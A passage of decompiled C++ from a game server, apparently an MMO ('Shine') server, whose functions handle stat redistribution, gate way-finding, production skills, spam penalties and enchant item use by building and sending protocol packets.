ITEM_INVEN *))(*(_DWORD *)(v21 + 57880) + 48))( v23, v22, &redist_inv, &redist_inv); ntotaldecitemlot -= redist_lot; if ( !ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) goto LABEL_24; v4 = v36; } v7[12 * (unsigned __int8)v7[16] + 17] = 0; v7[12 * (unsigned __int8)v7[16]++ + 28] = v19; (*(void (__thiscall **)(int, __int16 *, int))(*(_DWORD *)v17 + 28))(v17, &v42, v20 - v19); (*(void (__thiscall **)(int, _DWORD, int, int *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)(v36 + 57880) + 56))( v36 + 57880, *((_WORD *)v7 + 7), redist_cell, &redist_iti, &redist_inv, &redist_inv); ntotaldecitemlot = 0; LABEL_24: LOBYTE(v46) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&uii); v46 = -1; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&ibii); v4 = v36; v11 = ntotaldecitemlot == 0; goto LABEL_25; } v32 = 0; v30 = "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : no init item"; LABEL_14: AssertClass::ac_AssertFail(&shineassert, v30, v32); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 4, 103, 2758); LABEL_22: LOBYTE(v46) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&uii); v46 = -1; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&ibii); } //----- (005346D0) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_UserCheckFreeStatApplication(int a1, int a2, int a3, int a4) { int v4; // ebp@1 unsigned int v5; // ebx@4 int v6; // edi@5 unsigned int v7; // ebx@11 int v8; // edi@12 char v9; // bl@17 int v10; // eax@19 char *v11; // esi@21 ZoneBaseSession *v12; // eax@23 SpecialItemIdent *v13; // eax@24 __int16 v14; // bx@26 void *v15; // eax@26 const void *v16; // eax@26 ItemAttributeClass *v17; // eax@26 ItemAttributeClass *v18; // edi@26 int v19; // eax@26 char *v20; // esi@26 __int16 v21; // dx@26 int v22; // eax@26 InventoryLocking::InventoryCellLock *v23; // ebp@26 int v24; // eax@26 bool v25; // zf@26 bool v26; // sf@26 unsigned __int8 v27; // of@26 int v28; // edi@27 int v29; // edi@28 ZoneBaseSession *v30; // eax@31 int v31; // [sp+8h] [bp-C4h]@4 int v32; // [sp+10h] [bp-BCh]@4 ITEM_INVEN redist_inv; // [sp+18h] [bp-B4h]@1 char Stat; // [sp+1Fh] [bp-ADh]@10 ItemInventoryCell *redist_cell; // [sp+20h] [bp-ACh]@26 int v36; // [sp+24h] [bp-A8h]@24 char uii; // [sp+28h] [bp-A4h]@24 char v38; // [sp+2Bh] [bp-A1h]@26 InventoryLocking::InventoryCellLock *this; // [sp+30h] [bp-9Ch]@26 char ibii; // [sp+38h] [bp-94h]@24 int v41; // [sp+40h] [bp-8Ch]@26 char redist_iti; // [sp+4Ch] [bp-80h]@26 char v43; // [sp+54h] [bp-78h]@26 int v44; // [sp+58h] [bp-74h]@26 int v45; // [sp+5Ch] [bp-70h]@26 __int16 v46; // [sp+60h] [bp-6Ch]@26 __int16 v47; // [sp+B8h] [bp-14h]@26 char v48; // [sp+BAh] [bp-12h]@26 unsigned int v49; // [sp+BCh] [bp-10h]@1 int v50; // [sp+C8h] [bp-4h]@24 v4 = a1; v49 = (unsigned int)&redist_inv ^ __security_cookie; if ( *(_DWORD *)(a1 + 23684) && *(_WORD *)((*(int (**)(void))(*(_DWORD *)a1 + 1068))() + 3092) == -1 ) { v32 = a2; v5 = 0; v31 = a3; while ( 1 ) { v6 = *(_DWORD *)(v4 + 23684); if ( !v6 ) v6 = v4 + 32250; if ( pCharStatDist[v5][v6] < (unsigned __int8)pCharStatDist[v5][(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1056))(v4)] ) break; ++v5; if ( v5 >= 5 ) goto LABEL_11; } Stat = LOBYTE(Stats[v5]); if ( Stat != -1 ) { v13 = ItemDataBox::idb_SpecialItems(&itemdatabox); ItemBoxIterIdent::ItemBoxIterIdent( (ItemBoxIterIdent *)&ibii, (ItemBag *)(v4 + 35680), v13->sii_FreeStatRedistPoint, (ChargedEffectContainer *)(v4 + 142688)); v36 = v4 + 57880; v50 = 0; InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator( (InventoryLocking::UnlockedInventoryIterator *)&uii, 9, (ItemBoxIterator *)&ibii, (InventoryLocking::InventoryCellLock *)(v4 + 57880)); LOBYTE(v50) = 1; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v14 = InventoryLocking::UnlockedInventoryIterator::uii_Slot((InventoryLocking::UnlockedInventoryIterator *)&uii); v15 = InventoryLocking::UnlockedInventoryIterator::uii_Get((InventoryLocking::UnlockedInventoryIterator *)&uii); redist_cell = (ItemInventoryCell *)v15; MoveManager::MoveManager((DiceTaiSai *)v15); memcpy(&redist_iti, v16, 0x6Cu); v47 = *((_WORD *)v16 + 54); v48 = *((_BYTE *)v16 + 110); v17 = ItemInventoryCell::iic_GetAttrProc(redist_cell); v18 = v17; v19 = ((int (__thiscall *)(ItemAttributeClass *, char *, int, int, int))v17->vfptr->iac_GetLot)( v17, &v43, v31, a4, v32); v20 = gpp.pp_Buffer; LOWORD(v36) = v14 & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = 4195; v21 = *(_WORD *)(v4 + 4); v41 = v19; *((_WORD *)v20 + 1) = v21; v22 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v23 = this; v20[8] = v38; *((_DWORD *)v20 + 1) = v22; LOWORD(v24) = AxialListNearGateFind::alngf_Gethandle((int)v23); *(_WORD *)(v20 + 9) = v24; *(_DWORD *)(v20 + 11) = v44; *(_DWORD *)(v20 + 15) = v45; v27 = __OFSUB__(v41, 1); v25 = v41 == 1; v26 = v41 - 1 < 0; *(_WORD *)(v20 + 19) = v46; if ( (unsigned __int8)(v26 ^ v27) | v25 ) { v28 = 0; v20[21] = 1; *((_WORD *)v20 + 11) = 0; ((void (__thiscall *)(InventoryLocking::InventoryCellLock *, int))v23->vfptr->icl_ClearItem)(v23, v24); } else { v20[21] = 0; ((void (__thiscall *)(ItemAttributeClass *, __int16 *))v18->vfptr->iac_SetLot)(v18, &v46); v29 = ((int (__thiscall *)(ItemAttributeClass *))v18->vfptr->iac_fill2buffer)(v18); *((_WORD *)v20 + 11) = 22; v23->vfptr->icl_StoreItem( v23, *(_WORD *)(v20 + 9), redist_cell, (ItemTotalInformation *)&redist_iti, &redist_inv, &redist_inv); v28 = v29 - (_DWORD)(v20 + 24); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, v28 + 24) ) { v30 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v30); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ : Packet Too Long", v28 + 24); } InventoryLocking::InventoryCellLock::icl_IncIndex(v23); } else { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 195, 2758); } LOBYTE(v50) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&uii); v50 = -1; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&ibii); goto LABEL_34; } LABEL_11: v7 = 0; while ( 1 ) { v8 = *(_DWORD *)(v4 + 23684); if ( !v8 ) v8 = v4 + 32250; if ( pCharStatDist[v7][(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1056))(v4)] < (unsigned __int8)pCharStatDist[v7][v8] ) break; ++v7; if ( v7 >= 5 ) goto LABEL_18; } v9 = LOBYTE(Stats[v7]); if ( v9 != -1 ) { v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4189; *((_WORD *)v11 + 1) = *(_WORD *)(v4 + 4); *((_DWORD *)v11 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v11[8] = v9; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v12 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v12); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_UserCheckFreeStatApplication : Packet Too Long", 9); } goto LABEL_34; } LABEL_18: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 195, 2753); if ( *(_DWORD *)(v4 + 23684) ) { operator delete(*(void **)(v4 + 23684)); v10 = *(_DWORD *)v4; *(_DWORD *)(v4 + 23684) = 0; (*(void (__thiscall **)(int))(v10 + 1316))(v4); } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1316))(v4); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 195, 2755); } LABEL_34: __security_check_cookie((unsigned int)&redist_inv ^ v49); } // 5346D0: could not find valid save-restore pair for ebx // 5346D0: could not find valid save-restore pair for edi // 5346D0: could not find valid save-restore pair for esi //----- (00534AC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebp@1 char *v5; // edi@1 int v6; // ebx@1 int v7; // eax@5 int v8; // ST04_4@11 int v9; // eax@11 int v10; // eax@14 void *v11; // eax@15 void *v12; // esi@15 bool v13; // zf@16 __int16 v14; // ax@20 char v15; // al@21 int v16; // eax@22 int v17; // esi@23 int v18; // eax@28 char v19; // al@33 int v20; // eax@34 char v21; // al@36 FunctionEntarance _; // [sp+10h] [bp-9Ch]@1 NPCManager::NPCInformTemplete *pLinkInfo; // [sp+14h] [bp-98h]@20 AxialListNearGateFind alngf; // [sp+18h] [bp-94h]@11 void *pNpcRole; // [sp+24h] [bp-88h]@15 char key; // [sp+28h] [bp-84h]@15 __int16 v27; // [sp+30h] [bp-7Ch]@15 NPCManager::LinkInformTemplete LinkInfo; // [sp+34h] [bp-78h]@33 unsigned int v29; // [sp+9Ch] [bp-10h]@1 int v30; // [sp+A8h] [bp-4h]@1 v4 = this; v29 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = 0; v13 = (_S14_9 & 1) == 0; *(_WORD *)gpp.pp_Buffer = 8305; v30 = 0; *((_WORD *)v5 + 1) = 9216; if ( v13 ) { _S14_9 |= 1u; cmc_94.cmc_AllowMode = 70; atexit(_E15_18); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_94.cmc_AllowMode ) { if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v5 + 1) = 9218; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_6; } LABEL_9: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ : Packet Too Long", 4); v30 = -1; goto LABEL_30; } AxialListNearGateFind::AxialListNearGateFind(&alngf); v8 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v30) = 1; v9 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v9, v8, 0, 0, (int)&alngf, 0, 65535); if ( !AxialListNearGateFind::alngf_GetObject((ORFieldDwrd *)&alngf) ) { *((_WORD *)v5 + 1) = 9219; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); LOBYTE(v30) = 0; AxialListNearGateFind::_AxialListNearGateFind(&alngf); v30 = -1; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ : Packet Too Long", 4); LOBYTE(v30) = 0; AxialListNearGateFind::_AxialListNearGateFind(&alngf); v30 = -1; } goto LABEL_30; } v27 = AxialListNearGateFind::alngf_Gethandle((int)&alngf); v11 = bsearch(&key, &npcmanager, unk_D76CBE8, 0xCu, NPCManager::nm_HandleCompare); v12 = v11; pNpcRole = v11; if ( !v11 ) { *((_WORD *)v5 + 1) = 9219; v13 = ProtocolPacket::pp_SetPacketLen(&gpp, 4) == 0; LABEL_17: if ( v13 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ : Packet Too Long", 4); } else { v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v4, &gpp); } LOBYTE(v30) = 0; AxialListNearGateFind::_AxialListNearGateFind(&alngf); v30 = -1; goto LABEL_30; } if ( *((_DWORD *)v11 + 1) && (v14 = AxialListNearGateFind::alngf_Gethandle((int)&alngf), (pLinkInfo = NPCManager::nm_FindNPCInfo(&npcmanager, v14)) != 0) ) { v17 = (*(int (__stdcall **)(_DWORD))(**((_DWORD **)v12 + 1) + 8))(0); if ( !v17 ) { LABEL_27: *((_WORD *)v5 + 1) = 9219; v13 = ProtocolPacket::pp_SetPacketLen(&gpp, 4) == 0; goto LABEL_17; } pLinkInfo = (NPCManager::NPCInformTemplete *)((char *)pLinkInfo + 84); while ( !ORToken::operator__((ORToken *)pLinkInfo, (ORToken *)v17) ) { ++v6; v17 = (*(int (__stdcall **)(int))(**((_DWORD **)pNpcRole + 1) + 8))(v6); if ( !v17 ) goto LABEL_27; } if ( *(_WORD *)(v17 + 96) <= (unsigned __int16)(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1236))(v4) && *(_WORD *)(v17 + 98) >= (unsigned __int16)(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1236))(v4) ) { memcpy(&LinkInfo, (const void *)v17, 0x64u); LinkInfo.Party = *(_BYTE *)(v17 + 100); v19 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v19, "ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ : Packet Too Long", 4) ) { v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v20 + 12))(v20, v4, &gpp); } (*(void (__thiscall **)(void *, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(*(_DWORD *)v4 + 1528))( v4, &LinkInfo, 6, 9, 10); goto LABEL_39; } *((_WORD *)v5 + 1) = 9220; v21 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v21, "ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ : Packet Too Long", 4) ) { v16 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); goto LABEL_38; } } else { *((_WORD *)v5 + 1) = 9219; v15 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v15, "ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ : Packet Too Long", 4) ) { v16 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); LABEL_38: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v4, &gpp); goto LABEL_39; } } LABEL_39: LOBYTE(v30) = 0; AxialListNearGateFind::_AxialListNearGateFind(&alngf); v30 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_40; } *((_WORD *)v5 + 1) = 9217; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) goto LABEL_9; v7 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); LABEL_6: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); v30 = -1; LABEL_30: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ"); LABEL_40: __security_check_cookie((unsigned int)&_ ^ v29); } //----- (00534F60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LearnProduceMainSkill(void *this, unsigned __int16 ProduceMain) { char *v2; // edi@1 void *v3; // esi@1 ZoneBaseSession *v4; // eax@3 GatherProduce::RecipeBook::ProductIndex *v5; // eax@15 GatherProduce::RecipeBook::ProductIndex *v6; // ebp@15 ProduceInfo *v7; // eax@16 char *v8; // edi@19 ZoneBaseSession *v9; // eax@21 int sub; // [sp+10h] [bp-4h]@14 signed int ProduceMaina; // [sp+18h] [bp+4h]@5 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 18433; *((_WORD *)v2 + 1) = *((_WORD *)this + 2); *((_DWORD *)v2 + 1) = (*(int (**)(void))(*(_DWORD *)this + 836))(); *((_DWORD *)v2 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_WORD *)v2 + 6) = ProduceMain; *(_WORD *)(v2 + 15) = -1; v2[14] = 0; *((_BYTE *)v3 + 23353) |= 8u; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 17) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_uie_SkillScroll_Result : Packet Too Long", 17); } if ( ProduceMain == SkillDataBox::sdb_SpecSkillStruct(&skilldatabox)->ss_StoneProductMain ) { ProduceMaina = 0; } else { if ( ProduceMain == SkillDataBox::sdb_SpecSkillStruct(&skilldatabox)->ss_PortionProductMain ) { ProduceMaina = 1; } else { if ( ProduceMain == SkillDataBox::sdb_SpecSkillStruct(&skilldatabox)->ss_ScrollProductMain ) { ProduceMaina = 2; } else { if ( ProduceMain == SkillDataBox::sdb_SpecSkillStruct(&skilldatabox)->ss_ResolveProductMain ) { ProduceMaina = 5; } else { if ( ProduceMain != SkillDataBox::sdb_SpecSkillStruct(&skilldatabox)->ss_CompoundProductMain ) { AssertClass::ac_AssertFail( &shineassert, "sp_NC_SKILL_PRODUCTFIELD_REQ : Not Main Produce Skill", ProduceMain); return; } ProduceMaina = 4; } } } } MobDataBox::mdb_iter_home(&recipebook, &sub); do { v5 = GatherProduce::RecipeBook::rb_Get(&recipebook, &sub); v6 = v5; if ( !v5 ) break; v7 = v5->index; if ( v6->index->MasteryType == ProduceMaina && v7->NeededMasteryGain < 0x3A98 && !CharaterSkillList::csl_IsLearn((CharaterSkillList *)((char *)v3 + 68496), v7->ProductID) ) { v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18433; *((_WORD *)v8 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v8 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3); *((_WORD *)v8 + 6) = v6->index->ProductID; *(_WORD *)(v8 + 15) = -1; v8[14] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 17) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail(&shineassert, "sp_NC_SKILL_PRODUCTFIELD_REQ Learn Skill : Packet Too Long", 17); } } } while ( GatherProduce::RecipeBook::rb_Next(&recipebook, &sub) ); } //----- (00535190) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SpamSendDataToCharDB(void *this) { char *v1; // ebx@1 unsigned int v2; // edi@1 void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // edx@3 int v6; // eax@8 int v7; // ecx@8 unsigned int v8; // edx@9 ZoneBaseSession *v9; // eax@17 v1 = gpp.pp_Buffer; v2 = clockwatch.cw_CurrTick; v3 = this; *(_WORD *)gpp.pp_Buffer = 16418; *(_DWORD *)(v1 + 2) = (*(int (**)(void))(*(_DWORD *)this + 836))(); v4 = *((_DWORD *)v3 + 35947); if ( v4 <= v2 ) { v5 = 0; } else { if ( v4 - v2 >= 0xA ) v5 = (v4 - v2) / 0xA; else v5 = 1; } *(_DWORD *)(v1 + 6) = v5; if ( v5 ) { *(_DWORD *)(v1 + 10) = (*((_DWORD *)v3 + 35948) - *((_DWORD *)v3 + 35947)) / 0xAu; *((_DWORD *)v3 + 35949) = 1; } else { v6 = time(0); v7 = *((_DWORD *)v3 + 35948); if ( v7 <= v2 ) v8 = 0; else v8 = v6 + (v7 - v2) / 0xA; *(_DWORD *)(v1 + 10) = v8; if ( v8 ) { *((_DWORD *)v3 + 35949) = 1; } else { if ( !*((_DWORD *)v3 + 35949) ) return; *((_DWORD *)v3 + 35949) = 0; } } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_SendSpamerDataToCharDB : Packet Too Long", 14); } } //----- (005352A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSetBlock(void *this, unsigned int CurrentTime) { int v2; // esi@1 int v3; // edi@1 char v4; // bl@1 int v5; // ecx@11 int v6; // eax@11 signed int i; // eax@11 unsigned __int16 DelayTime; // [sp+10h] [bp-Ch]@3 unsigned __int16 BlockTime; // [sp+14h] [bp-8h]@9 char PenaltyLv; // [sp+18h] [bp-4h]@1 v2 = (int)this; v3 = 0; PenaltyLv = 1; v4 = SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(&SpamerPenaltyData); if ( *(_DWORD *)(v2 + 143792) <= CurrentTime || (PenaltyLv = 1, SpamerPenaltyData.spdb_SpamerPenaltyMaxNum <= 1u) ) { LABEL_9: if ( SpamerPenaltyDataBox::spdb_SpamePenaltyGetChatBlockTime(&SpamerPenaltyData, PenaltyLv, &BlockTime) && SpamerPenaltyDataBox::spdb_SpamePenaltyGetProbateTime(&SpamerPenaltyData, PenaltyLv, &DelayTime) ) { v5 = CurrentTime + 10 * BlockTime; v6 = v5 + 10 * (v3 + DelayTime); *(_DWORD *)(v2 + 143788) = v5; *(_DWORD *)(v2 + 143792) = v6; for ( i = 0; i < (unsigned __int8)v4; ++i ) *(_DWORD *)(*(_DWORD *)(v2 + 143780) + 4 * i) = 0; ShineObjectClass::ShinePlayer::sp_SpamSendBlockTimeToClient(v2); } } else { while ( SpamerPenaltyDataBox::spdb_SpamePenaltyGetProbateTime(&SpamerPenaltyData, PenaltyLv, &DelayTime) ) { v3 += DelayTime; if ( 10 * v3 >= (unsigned int)(*(_DWORD *)(v2 + 143792) - *(_DWORD *)(v2 + 143788)) ) { if ( (unsigned __int8)PenaltyLv < SpamerPenaltyData.spdb_SpamerPenaltyMaxNum ) ++PenaltyLv; goto LABEL_9; } ++PenaltyLv; if ( (unsigned __int8)PenaltyLv >= SpamerPenaltyData.spdb_SpamerPenaltyMaxNum ) goto LABEL_9; } } } //----- (005353D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSendDataToWM(void *this) { unsigned int v1; // ebx@1 char *v2; // edi@1 void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // edx@3 unsigned int v6; // edx@7 int v7; // eax@8 int v8; // esi@8 ZoneBaseSession *v9; // eax@13 v1 = clockwatch.cw_CurrTick; v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 16417; *((_WORD *)v2 + 1) = (*(int (**)(void))(*(_DWORD *)this + 832))(); *((_DWORD *)v2 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); v4 = *((_DWORD *)v3 + 35947); if ( v4 <= v1 ) { v5 = 0; } else { if ( v4 - v1 >= 0xA ) v5 = (v4 - v1) / 0xA; else v5 = 1; } *((_DWORD *)v2 + 2) = v5; if ( v5 ) { v6 = (*((_DWORD *)v3 + 35948) - *((_DWORD *)v3 + 35947)) / 0xAu; } else { v7 = time(0); v8 = *((_DWORD *)v3 + 35948); if ( v8 <= v1 ) v6 = 0; else v6 = v7 + (v8 - v1) / 0xA; } *((_DWORD *)v2 + 3) = v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SendSpamerToWM : Packet Too Long", 16); } } //----- (005354C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_EnchantActionUse(void *this, __int16 EnChantItem) { void *v2; // ebp@1 void *v3; // eax@1 DiceTaiSai *v4; // esi@1 int v5; // eax@3 int v6; // ebx@3 const void *v7; // eax@3 int v8; // ecx@3 char *v9; // edi@3 int v10; // esi@3 bool v11; // zf@4 char *v12; // ebx@4 char v13; // al@5 char *v14; // eax@9 char v15; // dl@9 int v16; // eax@11 char *v17; // eax@13 int v18; // eax@16 int v19; // edi@16 int v20; // eax@16 ItemInform_ActionItem *v21; // ebx@16 char *v22; // esi@16 int v23; // eax@16 char v24; // cl@16 char v25; // dl@16 ZoneBaseSession *v26; // eax@18 InventoryLocking::InventoryCellLock *v27; // eax@19 char IsRemove; // [sp+1Ch] [bp-8Ch]@1 char v29; // [sp+1Fh] [bp-89h]@3 ITEM_INVEN inv; // [sp+20h] [bp-88h]@1 char IsRemoveSlot[3]; // [sp+24h] [bp-84h]@3 unsigned int i; // [sp+28h] [bp-80h]@3 void *cell; // [sp+2Ch] [bp-7Ch]@1 char *v34; // [sp+30h] [bp-78h]@3 char ChangeInfo[54]; // [sp+34h] [bp-74h]@3 char v36; // [sp+6Ah] [bp-3Eh]@3 __int16 v37; // [sp+A0h] [bp-8h]@3 char v38; // [sp+A2h] [bp-6h]@3 unsigned int v39; // [sp+A4h] [bp-4h]@1 v2 = this; v39 = (unsigned int)&IsRemove ^ __security_cookie; v3 = (void *)(*(int (__stdcall **)(ITEM_INVEN *))(*(_DWORD *)this + 1964))(&inv); v4 = (DiceTaiSai *)v3; cell = v3; if ( v3 && EnChantItem != -1 ) { MoveManager::MoveManager((DiceTaiSai *)v3); v6 = v5; IsRemoveSlot[0] = 0; *(_WORD *)&IsRemoveSlot[1] = 0; v29 = 0; MoveManager::MoveManager(v4); memcpy(ChangeInfo, v7, 0x6Cu); v37 = *((_WORD *)v7 + 54); v8 = 0; v38 = *((_BYTE *)v7 + 110); i = 0; v9 = &v36; v10 = v6 + 56; v34 = &ChangeInfo[-v6]; do { v11 = EnChantItem == *(_WORD *)(v10 - 2); v12 = &IsRemoveSlot[v8]; IsRemoveSlot[v8] = 0; if ( v11 ) { v13 = *(_BYTE *)v10; if ( *(_BYTE *)v10 != -1 ) { if ( v13 ) *(_BYTE *)v10 = v13 - 1; else AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_EnchantActionUse RestCount Empty", 0); v14 = gpp.pp_Buffer; v15 = i; *(_WORD *)gpp.pp_Buffer = 12358; *((_WORD *)v14 + 1) = inv.Inven; v14[4] = v15; v14[5] = *(_BYTE *)v10; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v16 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_EnchantActionUse : Packet Too Long", 6); } if ( !*(_BYTE *)v10 ) { v17 = v34; *(_WORD *)v9 = -1; v17[v10] = -1; *v12 = 1; v29 = 1; } } } v8 = i + 1; v10 += 3; v9 += 3; ++i; } while ( i < 3 ); if ( v29 == 1 ) { LOWORD(v18) = AxialListNearGateFind::alngf_Gethandle((int)((char *)v2 + 57880)); v19 = v18; v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); v21 = (ItemInform_ActionItem *)cell; (*(void (__thiscall **)(int, int, void *, _DWORD, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v20 + 56))( 